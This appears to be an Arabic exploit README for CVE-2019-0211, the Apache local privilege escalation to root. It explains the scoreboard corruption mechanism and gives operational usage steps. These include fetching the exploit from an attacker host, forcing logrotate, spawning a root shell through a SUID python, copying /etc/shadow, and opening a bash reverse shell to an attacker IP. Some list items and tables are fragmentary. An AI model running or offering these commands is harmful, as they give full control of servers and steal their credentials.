
CVE-2019-0211 هي ثغرة تصعيد امتيازات محلي تؤثر على Apache HTTP Server بين الإصدارين 2.4.17 و2.4.38 مع mod_prefork وmod_php (أو PHP-FPM).
تتيح هذه الثغرة لمهاجم يملك شل (shell) بصلاحيات www-data تصعيد الصلاحيات إلى root عبر مزيج من Use-After-Free (UAF) في PHP وتلف scoreboard الخاص بـ Apache. عندما يقوم Apache بعمل graceful restart (مثلًا عبر logrotate عند الساعة 6:25 صباحًا)، ينفّذ child_init() قبل إسقاط الامتيازات. إذا نجحنا في إتلاف المؤشر إلى هذه الدالة، يمكننا جعل Apache ينفّذ أمرًا اعتباطيًا بصلاحيات root.
CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| الحقل | القيمة |
|---|---|
| CVE | CVE-2019-0211 |
| المنتج | Apache HTTP Server |
| الإصدارات المتأثرة | 2.4.17 – 2.4.38 |
| النوع | تصعيد امتيازات محلي (CWE-269) |
| المتطلب | شل (shell) بصلاحيات www-data، Apache مع mod_php، MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| التصحيح | Apache 2.4.39 |
يستخدم Apache منطقة ذاكرة مشتركة تسمى scoreboard حيث تمتلك كل عملية worker فرعية بنية process_score بمؤشر bucket إلى prefork_child_bucket. يحتوي هذا الـ bucket على apr_proc_mutex_t بمؤشرات إلى دوال (meth->child_init()).
عندما يقوم Apache بعمل graceful restart (محفّز طبيعي في الساعة 6:25 صباحًا عبر logrotate)، يستدعي child_init() قبل إسقاط الامتيازات. يعمل الاستغلال كالتالي:
DateInterval وتسلسل JSON/proc/self/maps لتحديد موقع scoreboard (ذاكرة مشتركة في /dev/zero)all_buckets في ذاكرة Apachemeth->child_init() إلى system()Charles Fol — @cfreal_
المقال الأصلي: CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data على الخادم.php في دليل يقدّمه Apache# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php
# 2. Ejecutar el exploit
curl http://localhost/carpediem.php
# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...
# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
يمكنك تغيير الأمر الذي سيُنفَّذ بصلاحيات root باستخدام الوسيط cmd:
# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"
| Workers |
|---|
المزيد من الـ workers يعني معدل نجاح أعلى.
/proc/self/maps عبر hidef أو AppArmor/SELinux| Éxito |
|---|
| Intentos |
|---|
| Fallos |
|---|
| 5 (default) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |